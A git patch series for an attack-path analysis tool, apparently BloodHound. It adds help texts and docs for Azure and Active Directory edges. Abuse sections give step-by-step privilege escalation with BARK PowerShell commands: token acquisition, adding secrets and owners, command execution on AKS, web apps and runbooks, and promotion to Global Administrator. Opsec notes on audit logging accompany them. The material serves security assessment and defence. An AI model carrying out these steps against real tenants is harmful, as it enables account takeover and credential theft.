+ You can use BARK's Invoke-AzureRMAKSRunCommand function
+ to execute commands on compute nodes associated with the
+ target AKS Managed Cluster.
+
+
+
+ This function requires you to supply an Azure Resource Manager
+ scoped JWT associated with the principal that has the privilege
+ to execute commands on the cluster. There are several ways to
+ acquire a JWT. For example, you may use BARK's
+ Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+ by supplying a refresh token:
+
+ Now you can use BARK's Invoke-AzureRMAKSRunCommand function
+ to execute a command against the target AKS Managed Cluster.
+ For example, to run a simple "whoami" command:
+
+ If the AKS Cluster or its associated Virtual Machine Scale Sets
+ have managed identity assignments, you can use BARK's
+ Invoke-AzureRMAKSRunCommand function to retrieve a JWT for the
+ managed identity Service Principal like this:
+
+ If successful, the output will include a JWT for the managed identity
+ service principal.
+
+ >
+ );
+};
+
+export default Abuse;
\ No newline at end of file
diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx
new file mode 100644
index 000000000..bb2607789
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx
@@ -0,0 +1,15 @@
+import React from 'react';
+
+const General = () => {
+ return (
+
+ The Azure Kubernetes Service Contributor role grants full control
+ of the target Azure Kubernetes Service Managed Cluster. This includes
+ the ability to remotely fetch administrator credentials for the cluster
+ as well as the ability to execute arbitrary commands on compute
+ nodes associated with the AKS Managed Cluster.
+
+ This will depend on which particular abuse you perform, but in
+ general Azure will create a log event for each abuse.
+
+ );
+};
+
+export default Opsec;
diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx
new file mode 100644
index 000000000..457bae3bf
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx
@@ -0,0 +1,17 @@
+import React from 'react';
+
+const References = () => {
+ return (
+ <>
+
+ Andy Robbins - BARK.ps1
+
+
+
+ Karl Fosaaen - How To Extract Credentials from Azure Kubernetes Service (AKS)
+
+ >
+ );
+};
+
+export default References;
diff --git a/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx b/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx
new file mode 100644
index 000000000..0f7b7783f
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx
@@ -0,0 +1,34 @@
+import React from 'react';
+import PropTypes from 'prop-types';
+import { Tabs, Tab } from 'react-bootstrap';
+import General from './General';
+import Abuse from './Abuse';
+import Opsec from './Opsec';
+import References from './References';
+
+const AZAddOwner = ({ sourceName, sourceType, targetName, targetType }) => {
+ return (
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+};
+
+AZAddOwner.propTypes = {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string,
+ targetName: PropTypes.string,
+ targetType: PropTypes.string,
+};
+export default AZAddOwner;
diff --git a/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx b/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx
new file mode 100644
index 000000000..e770adbf5
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx
@@ -0,0 +1,66 @@
+import React from 'react';
+
+const Abuse = () => {
+ return (
+ <>
+
+ You can use BARK to add a new owner to the target object. The
+ BARK function you use will depend on the target object type,
+ but all of the functions follow a similar syntax.
+
+
+
+ These functions require you to supply an MS Graph-scoped JWT
+ associated with the principal that has the privilege to add a
+ new owner to your target object. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT
+ by supplying a refresh token:
+
+ This edge is created during post-processing. It is created against
+ all App Registrations and Service Principals within the same tenant
+ when an Azure principal has one of the following Azure Active
+ Directory roles:
+
+
+
+
+
Hybrid Identity Administrator
+
Partner Tier1 Support
+
Partner Tier2 Support
+
Directory Synchronization Accounts
+
+
+
+
+ You will not see these privileges when auditing permissions against
+ any of the mentioned objects when you use Microsoft tooling, including
+ the Azure portal or any API.
+
+ Any time you add an owner to any Azure object, the AzureAD audit
+ logs will create an event logging who added an owner to what object,
+ as well as what the new owner added to the object was.
+
+ You can use BARK's New-AzureAutomationAccountRunBook and
+ Get-AzureAutomationAccountRunBookOutput functions to execute
+ arbitrary commands against the target Automation Account.
+
+
+
+ These functions require you to supply an Azure Resource Manager
+ scoped JWT associated with the principal that has the privilege
+ to add or modify and run Automation Account run books. There are
+ several ways to acquire a JWT. For example, you may use BARK's
+ Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+ by supplying a refresh token:
+
+ Now you can use BARK's New-AzureAutomationAccountRunBook function
+ to add a new runbook to the target Automation Account, specifying
+ a command to execute using the -Script parameter:
+
+ After adding the new runbook, you must execute it and fetch its
+ output. You can do this automatically with BARK's
+ Get-AzureAutomationAccountRunBookOutput function:
+
+ If the Automation Account has a managed identity assignment, you can use
+ these two functions to retrieve a JWT for the service principal like this:
+
+ The Azure Automation Contributor role grants full control
+ of the target Azure Automation Account. This includes
+ the ability to execute arbitrary commands on the Automation
+ Account.
+
+ The Key Vault Contributor role grants full control of the
+ target Key Vault. This includes the ability to read all secrets
+ stored on the Key Vault.
+
+ Currently you need access to the portal GUI to execute this abuse.
+
+
+
+ The abuse involves adding or modifying an existing logic app to coerce
+ the logic app into sending a JWT for its managed identity service principal
+ to a web server you control.
+
+
+
+ You can see a full walkthrough for executing that abuse in this blog post:
+
+ The Logic Contributor role grants full control
+ of the target Logic App. This includes the ability
+ to execute arbitrary commands on the Logic App.
+
+ You can abuse this privilege using BARK's Add-AZMemberToGroup
+ function.
+
+
+
+ This function requires you to supply an MS Graph-scoped JWT
+ associated with the Service Principal that has the privilege
+ to add principal to the target group. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+ by supplying a Service Principal Client ID and secret:
+
+ Now you can re-authenticate as the principial you just added to the group
+ and continue your attack path, now having whatever privileges the target
+ group has.
+
+ This edge is created during post-processing. It is created against
+ non role assignable Azure AD security groups when a Service
+ Principal has one of the following MS Graph app role assignments:
+
+
+
+
Directory.ReadWrite.All
+
Group.ReadWrite.All
+
GroupMember.ReadWrite.All
+
+
+
+ It is created against all Azure AD security groups, including those
+ that are role assignable, when a Service Principal has the following
+ MS Graph app role:
+
+
+
+
RoleManagement.ReadWrite.Directory
+
+
+
+ You will not see this privilege when using just the Azure portal
+ or any other Microsoft tooling. If you audit the roles and administrators
+ affecting any particular Azure security group, you will not see
+ that the Service Principal can add members to the group, but it
+ indeed can because of the parallel access management system used
+ by MS Graph.
+
+ You can use BARK to add a new owner to the target object. The
+ BARK function you use will depend on the target object type,
+ but all of the functions follow a similar syntax.
+
+
+
+ These functions require you to supply an MS Graph-scoped JWT
+ associated with the Service Principal that has the privilege
+ to add a new owner to the target object. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+ by supplying a Service Principal Client ID and secret:
+
+ This edge is created during post-processing. It is created against
+ all App Registrations and Service Principals within the same tenant
+ when a Service Principal has the following MS Graph app role:
+
+
+
+
+
Application.ReadWrite.All
+
+
+
+
+ It is also created against all Azure Service Principals when a
+ Service Principal has the following MS Graph app role:
+
+
+
+
+
ServicePrincipalEndpoint.ReadWrite.All
+
+
+
+
+
+ It is also created against all Azure security groups that are not
+ role eligible when a Service Principal has one of the following MS
+ Graph app roles:
+
+
+
+
+
Directory.ReadWrite.All
+
Group.ReadWrite.All
+
+
+
+
+ Finally, it is created against all Azure security groups and all
+ Azure App Registrations when a Service Principal has the following
+ MS Graph app role:
+
+
+
+
+
RoleManagement.ReadWrite.Directory
+
+
+
+
+
+ You will not see these privileges when auditing permissions against
+ any of the mentioned objects when you use Microsoft tooling, including
+ the Azure portal and the MS Graph API itself.
+
+ Any time you add an owner to any Azure object, the AzureAD audit
+ logs will create an event logging who added an owner to what object,
+ as well as what the new owner added to the object was.
+
+ There are several ways to perform this abuse, depending on what
+ sort of access you have to the credentials of the object that
+ holds this privilege against the target object. If you have an
+ interactive web browser session for the Azure portal, it is as
+ simple as finding the target App in the portal and adding a new
+ secret to the object using the “Certificates & secrets” tab.
+ Service Principals do not have this tab in the Azure portal but
+ you can add secrets to them with the MS Graph API.
+
+
+
+ No matter what kind of control you have, you will be able to
+ perform this abuse by using BARK’s New-AppRegSecret or
+ New-ServicePrincipalSecret functions.
+
+
+
+ These functions require you to supply an MS Graph-scoped JWT
+ associated with the Service Principal that has the privilege
+ to add secrets to the target object. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+ by supplying a Service Principal Client ID and secret:
+
+ With this plain text secret, you can now acquire tokens as the
+ service principal associated with the app. You can easily do
+ this with BARK’s Get-MSGraphToken function:
+
+ Now you can use this JWT to perform actions against any other MS
+ Graph endpoint as the service principal, continuing your attack
+ path with the privileges of that service principal.
+
+ >
+ );
+};
+
+export default Abuse;
\ No newline at end of file
diff --git a/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx b/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx
new file mode 100644
index 000000000..667d9fe20
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx
@@ -0,0 +1,31 @@
+import React from 'react';
+
+const General = () => {
+ return (
+ <>
+
+ This edge is created during post-processing. It is created against
+ all Azure App Registrations and Service Principals when a Service
+ Principal has one of the following MS Graph app roles:
+
+
+
+
+
Application.ReadWrite.All
+
RoleManagement.ReadWrite.Directory
+
+
+
+
+ You will not see this privilege when using just the Azure portal
+ or any other Microsoft tooling. If you audit the roles and administrators
+ affecting any particular Azure App or Service Principal, you will not see
+ that the Service Principal can add secrets to the object, but it
+ indeed can because of the parallel access management system used
+ by MS Graph.
+
+ When you create a new secret for an App or Service Principal,
+ Azure creates an event called “Update application – Certificates
+ and secrets management”. This event describes who added the secret
+ to which application or service principal.
+
+ This edge is created when a Service Principal has been
+ granted the AppRoleAssignment.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the AppRoleAssignment.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the AppRoleAssignment.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Application.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Application.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Application.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Directory.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Directory.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Directory.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ With the ability to grant arbitrary app roles, you can grant
+ the RoleManagement.ReadWrite.Directory app role to a Service
+ Principal you already control, and then promote it or another
+ principal to Global Administrator.
+
+
+
+ These functions require you to supply an MS Graph-scoped JWT
+ associated with the Service Principal that has the privilege
+ to grant app roles. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+ by supplying a Service Principal Client ID and secret:
+
+ Next, find the MS Graph Service Principal's ID. You can do this by
+ piping $SPs to Where-Object, finding objects where the appId value
+ matches the universal ID for the MS Graph Service Principal, which is
+ 00000003-0000-0000-c000-000000000000:
+
+ The output will be the object ID of the MS Graph Service Principal.
+ Take that ID and use it as the "ResourceID" argument for BARK's
+ New-AppRoleAssignment function. The AppRoleID of '9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8'
+ is the universal ID for RoleManagement.ReadWrite.Directory. The
+ SPObjectId is the object ID of the Service Principal you want to grant
+ this app role to:
+
+ If successful, the output of this command will show you the App Role
+ assignment ID. Now that your Service Principal has the RoleManagement.ReadWrite.Directory
+ MS Graph app role, you can promote the Service Principal to Global Administrator
+ using BARK's New-AzureADRoleAssignment.
+
+ This edge is created during post-processing. It is created against
+ AzureAD tenant objects when a Service Principal has one of the following
+ MS Graph app role assignments:
+
+ When you assign an app role to a Service Principal, the Azure
+ Audit logs will create an event called "Add app role assignment
+ to service principal". This event describes who made the change,
+ what the target service principal was, and what app role assignment
+ was granted.
+
+ To abuse this privilege, you can promote a principal you control
+ to Global Administrator using BARK's New-AzureADRoleAssignment.
+
+
+
+ This function requires you to supply an MS Graph-scoped JWT
+ associated with the Service Principal that has the privilege
+ to grant AzureAD admin roles. There are several ways to
+ acquire a JWT. For example, you may use BARK’s
+ Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+ by supplying a Service Principal Client ID and secret:
+
+ This edge is created during post-processing. It is created against
+ all AzureAD admin roles when a Service Principal has the following
+ MS Graph app role assignment:
+
+
+
+
+
RoleManagement.ReadWrite.Directory
+
+
+
+
+ This privilege allows the Service Principal to promote itself or
+ any other principal to any AzureAD admin role, including Global
+ Administrator.
+
+ When you assign an AzureAD admin role to a principal
+ using this privilege, the Azure Audit log will create
+ an event called "Add member to role outside of PIM
+ (permanent)".
+
+ This edge is created when a Service Principal has been
+ granted the GroupMember.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the GroupMember.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the GroupMember.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Group.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Group.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the Group.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the RoleManagement.ReadWrite.Directory edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the RoleManagement.ReadWrite.Directory edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the RoleManagement.ReadWrite.Directory edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ >
+ );
+};
+
+export default Opsec;
diff --git a/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx
new file mode 100644
index 000000000..bb21ba56d
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx
@@ -0,0 +1,22 @@
+import React from 'react';
+
+const References = () => {
+ return (
+ <>
+
+ ATT&CK T1098: Account Manipulation
+
+
+
+ Andy Robbins - Azure Privilege Escalation via Service Principal
+ Abuse
+
+
+
+ Assign Azure AD roles at different scopes
+
+ >
+ );
+};
+
+export default References;
diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx
new file mode 100644
index 000000000..da84c2783
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx
@@ -0,0 +1,34 @@
+import React from 'react';
+import PropTypes from 'prop-types';
+import { Tabs, Tab } from 'react-bootstrap';
+import General from './General';
+import Abuse from './Abuse';
+import Opsec from './Opsec';
+import References from './References';
+
+const AZMGServicePrincipalEndpoint_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
+ return (
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+};
+
+AZMGServicePrincipalEndpoint_ReadWrite_All.propTypes = {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string,
+ targetName: PropTypes.string,
+ targetType: PropTypes.string,
+};
+export default AZMGServicePrincipalEndpoint_ReadWrite_All;
diff --git a/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx
new file mode 100644
index 000000000..3a757bb6b
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx
@@ -0,0 +1,16 @@
+import React from 'react';
+
+const Abuse = () => {
+ return (
+ <>
+
+ This edge is created when a Service Principal has been
+ granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ This edge is created when a Service Principal has been
+ granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
+ not abusable, but is used during post-processing to create
+ abusable edges.
+
+ You will abuse this relationship by executing a command
+ against the AKS Managed Cluster the edge is emiting from.
+ You can target any managed identity assignment scoped to
+ the Virtual Machine Scale Sets under the target Resource Group.
+
+ This edge is created to link Azure Kubernetes Service
+ Managed Clusters to the Virtual Machine Scale Sets they
+ use to execute commands on.
+
+
+
+ The system-assigned identity for the AKS Cluster will
+ have the Contributor role against the target Resource Group
+ and its child Virtual Machine Scale Sets.
+
+ This will depend on which particular abuse you perform, but in
+ general Azure will create a log event for each abuse.
+
+ );
+};
+
+export default Opsec;
diff --git a/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx b/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx
new file mode 100644
index 000000000..457bae3bf
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZNodeResourceGroup/References.jsx
@@ -0,0 +1,17 @@
+import React from 'react';
+
+const References = () => {
+ return (
+ <>
+
+ Andy Robbins - BARK.ps1
+
+
+
+ Karl Fosaaen - How To Extract Credentials from Azure Kubernetes Service (AKS)
+
+ >
+ );
+};
+
+export default References;
diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx
new file mode 100644
index 000000000..602e946d0
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/AZWebsiteContributor.jsx
@@ -0,0 +1,34 @@
+import React from 'react';
+import PropTypes from 'prop-types';
+import { Tabs, Tab } from 'react-bootstrap';
+import General from './General';
+import Abuse from './Abuse';
+import Opsec from './Opsec';
+import References from './References';
+
+const AZWebsiteContributor = ({ sourceName, sourceType, targetName, targetType }) => {
+ return (
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+};
+
+AZWebsiteContributor.propTypes = {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string,
+ targetName: PropTypes.string,
+ targetType: PropTypes.string,
+};
+export default AZWebsiteContributor;
diff --git a/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx
new file mode 100644
index 000000000..dc6852062
--- /dev/null
+++ b/src/components/Modals/HelpTexts/AZWebsiteContributor/Abuse.jsx
@@ -0,0 +1,91 @@
+import React from 'react';
+
+const Abuse = () => {
+ return (
+ <>
+
+ You can use BARK's Invoke-AzureRMWebAppShellCommand function
+ to execute commands on a target Web App. You can use BARK's
+ New-PowerShellFunctionAppFunction, Get-AzureFunctionAppMasterKeys,
+ and Get-AzureFunctionOutput functions to execute arbitrary
+ commands against a target Function App.
+
+
+
+ These functions require you to supply an Azure Resource Manager
+ scoped JWT associated with the principal that has the privilege
+ to execute commands on the web app or function app. There are
+ several ways to acquire a JWT. For example, you may use BARK's
+ Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+ by supplying a refresh token:
+
+ Now you can use BARK's Invoke-AzureRMWebAppShellCommand function
+ to execute a command against the target Web App.
+ For example, to run a simple "whoami" command:
+
+ If the Web App has a managed identity assignments, you can use BARK's
+ Invoke-AzureRMWebAppShellCommand function to retrieve a JWT for the
+ managed identity Service Principal like this:
+
+ The Website Contributor role grants full control of the target
+ Function App or Web App. Full control of either of those types
+ of resources allows for arbitrary command execution against the
+ target resoruce.
+
From 060b509e9d909087280288e75c5ba238f72923db Mon Sep 17 00:00:00 2001
From: Jonas Knudsen
Date: Fri, 14 Apr 2023 09:27:04 -0700
Subject: [PATCH 04/11] docs: Add WriteAccountRestrictions
---
docs/data-analysis/edges.rst | 39 ++++++++++++++++++++++++++++++++++++
1 file changed, 39 insertions(+)
diff --git a/docs/data-analysis/edges.rst b/docs/data-analysis/edges.rst
index 30e83edee..6d31292a0 100644
--- a/docs/data-analysis/edges.rst
+++ b/docs/data-analysis/edges.rst
@@ -2058,6 +2058,45 @@ References
|
+WriteAccountRestrictions
+^^^^^^^
+
+This edge indicates the principal has the ability to write to modify several properties on the target principal, most notably the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. The ability to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property allows an attacker to abuse resource-based constrained delegation to compromise the remote computer system. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object.
+
+This clip demonstrates how to abuse this edge:
+
+.. raw:: html
+
+
+
+
+
+
+
+Abuse Info
+------------
+
+See the AllowedToAct edge section for abuse info
+
+
+Opsec Considerations
+--------------------
+
+See the AllowedToAct edge section for opsec considerations
+
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/
+* https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-account-restrictions
+
+|
+----
+
+|
+
TrustedBy
^^^^^^^^^
From c5040ef2c017af3d582c91d611a0d17b55ed3402 Mon Sep 17 00:00:00 2001
From: Jonas Knudsen
Date: Sat, 15 Apr 2023 06:17:45 -0700
Subject: [PATCH 05/11] docs: Add HasSIDHistory
---
docs/data-analysis/edges.rst | 46 ++++++++++++++++++++++++++++++++++++
1 file changed, 46 insertions(+)
diff --git a/docs/data-analysis/edges.rst b/docs/data-analysis/edges.rst
index 6d31292a0..ce929fa75 100644
--- a/docs/data-analysis/edges.rst
+++ b/docs/data-analysis/edges.rst
@@ -257,6 +257,52 @@ References
|
+HasSIDHistory
+^^^^^^^
+
+The given source principal has, in its SIDHistory
+attribute, the SID for the target principal.
+
+When a kerberos ticket is created for source principal, it will
+include the SID for the target principal, and therefore grant
+the source principal the same privileges and permissions as
+the target principal.
+
+
+Abuse Info
+------------
+
+No special actions are needed to abuse this, as the kerberos
+tickets created will have all SIDs in the object's SID history
+attribute added to them; however, if traversing a domain trust
+boundary, ensure that SID filtering is not enforced, as SID
+filtering will ignore any SIDs in the SID history portion of a
+kerberos ticket.
+
+By default, SID filtering is not enabled for all domain trust
+types.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://blog.harmj0y.net/redteaming/the-trustpocalypse/
+* https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/
+* https://adsecurity.org/?p=1772
+* https://adsecurity.org/?tag=sidhistory
+* https://attack.mitre.org/techniques/T1178/
+* https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
+
+|
+
+----
+
+|
+
ForceChangePassword
^^^^^^^^^^^^^^^^^^^
From 1dc4eab4cb0624ae6a5cd0465ff52f94735799de Mon Sep 17 00:00:00 2001
From: Jonas Knudsen
Date: Sat, 15 Apr 2023 06:43:11 -0700
Subject: [PATCH 06/11] docs: Add new and missing Azure edges
---
docs/data-analysis/edges.rst | 1598 +++++++++++++++++++++++++++++++++-
1 file changed, 1566 insertions(+), 32 deletions(-)
diff --git a/docs/data-analysis/edges.rst b/docs/data-analysis/edges.rst
index ce929fa75..a7461fbf5 100644
--- a/docs/data-analysis/edges.rst
+++ b/docs/data-analysis/edges.rst
@@ -2237,6 +2237,260 @@ https://docs.microsoft.com/en-us/powershell/module/azuread/add-azureadgroupmembe
|
+AZAddOwner
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+all App Registrations and Service Principals within the same tenant
+when an Azure principal has one of the following Azure Active
+Directory roles:
+
+ * Hybrid Identity Administrator
+ * Partner Tier1 Support
+ * Partner Tier2 Support
+ * Directory Synchronization Accounts
+
+You will not see these privileges when auditing permissions against
+any of the mentioned objects when you use Microsoft tooling, including
+the Azure portal or any API.
+
+Abuse Info
+------------
+
+You can use BARK to add a new owner to the target object. The
+BARK function you use will depend on the target object type,
+but all of the functions follow a similar syntax.
+
+These functions require you to supply an MS Graph-scoped JWT
+associated with the principal that has the privilege to add a
+new owner to your target object. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT
+by supplying a refresh token:
+
+::
+
+ $MGToken = Get-GraphTokenWithRefreshToken `
+ -RefreshToken "0.ARwA6WgJJ9X2qk..." `
+ -TenantID "contoso.onmicrosoft.com"
+
+
+To add a new owner to a Service Principal, use BARK's
+New-ServicePrincipalOwner function:
+
+::
+
+ New-ServicePrincipalOwner `
+ -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `
+ -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `
+ -Token $Token
+
+
+To add a new owner to an App Registration, use BARK's New-AppOwner function:
+
+::
+
+ New-AppOwner `
+ -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `
+ -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `
+ -Token $Token
+
+
+
+Opsec Considerations
+--------------------
+
+Any time you add an owner to any Azure object, the AzureAD audit
+logs will create an event logging who added an owner to what object,
+as well as what the new owner added to the object was.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZAddSecret
+^^^^^^^
+
+Azure provides several systems and mechanisms for granting
+control of securable objects within Azure Active Directory,
+including tenant-scoped admin roles, object-scoped admin roles,
+explicit object ownership, and API permissions.
+
+When a principal has been granted "Cloud App Admin" or "App
+Admin" against the tenant, that principal gains the ability to
+add new secrets to all Service Principals and App Registrations.
+Additionally, a principal that has been granted "Cloud App
+Admin" or "App Admin" against, or explicit ownership of a
+Service Principal or App Registration gains the ability to add
+secrets to that particular object.
+
+Abuse Info
+------------
+
+There are several ways to perform this abuse, depending on what
+sort of access you have to the credentials of the object that
+holds this privilege against the target object. If you have an
+interactive web browser session for the Azure portal, it is as
+simple as finding the target App in the portal and adding a new
+secret to the object using the "Certificates & secrets" tab.
+Service Principals do not have this tab in the Azure portal but
+you can add secrets to them with the MS Graph API.
+No matter what kind of control you have, you will be able to
+perform this abuse by using BARK's New-AppRegSecret or
+New-ServicePrincipalSecret functions.
+
+These functions require you to supply an MS Graph-scoped JWT
+associated with the principal that has the privilege to add a
+new secret to your target application. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT
+by supplying a refresh token:
+
+::
+
+ $MGToken = Get-GraphTokenWithRefreshToken -RefreshToken
+ "0.ARwA6WgJJ9X2qk..." -TenantID "contoso.onmicrosoft.com"
+
+Then use BARK's New-AppRegSecret to add a new secret to the
+target application:
+
+::
+
+ New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token
+
+The output will contain the plain-text secret you just created
+for the target app:
+
+::
+
+ New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token
+
+ Name Value
+ ---- -----
+ AppRegSecretValue odg8Q~...
+ AppRegAppId 4d31...
+ AppRegObjectId d878...
+
+With this plain text secret, you can now acquire tokens as the
+service principal associated with the app. You can easily do
+this with BARK's Get-MSGraphToken function:
+
+::
+
+ PS /Users/andyrobbins> $SPToken = Get-MSGraphToken `
+ -ClientID "4d31..." `
+ -ClientSecret "odg8Q~..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+ PS /Users/andyrobbins> $SPToken.access_token
+ eyJ0eXAiOiJKV1QiLCJub...
+
+Now you can use this JWT to perform actions against any other MS
+Graph endpoint as the service principal, continuing your attack
+path with the privileges of that service principal.
+
+Opsec Considerations
+--------------------
+
+When you create a new secret for an App or Service Principal,
+Azure creates an event called "Update application - Certificates
+and secrets management". This event describes who added the secret
+to which application or service principal.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://docs.microsoft.com/en-us/azure/active-directory/roles/assign-roles-different-scopes
+
+|
+
+----
+
+|
+
+AZAKSContributor
+^^^^^^^
+
+The Azure Kubernetes Service Contributor role grants full control
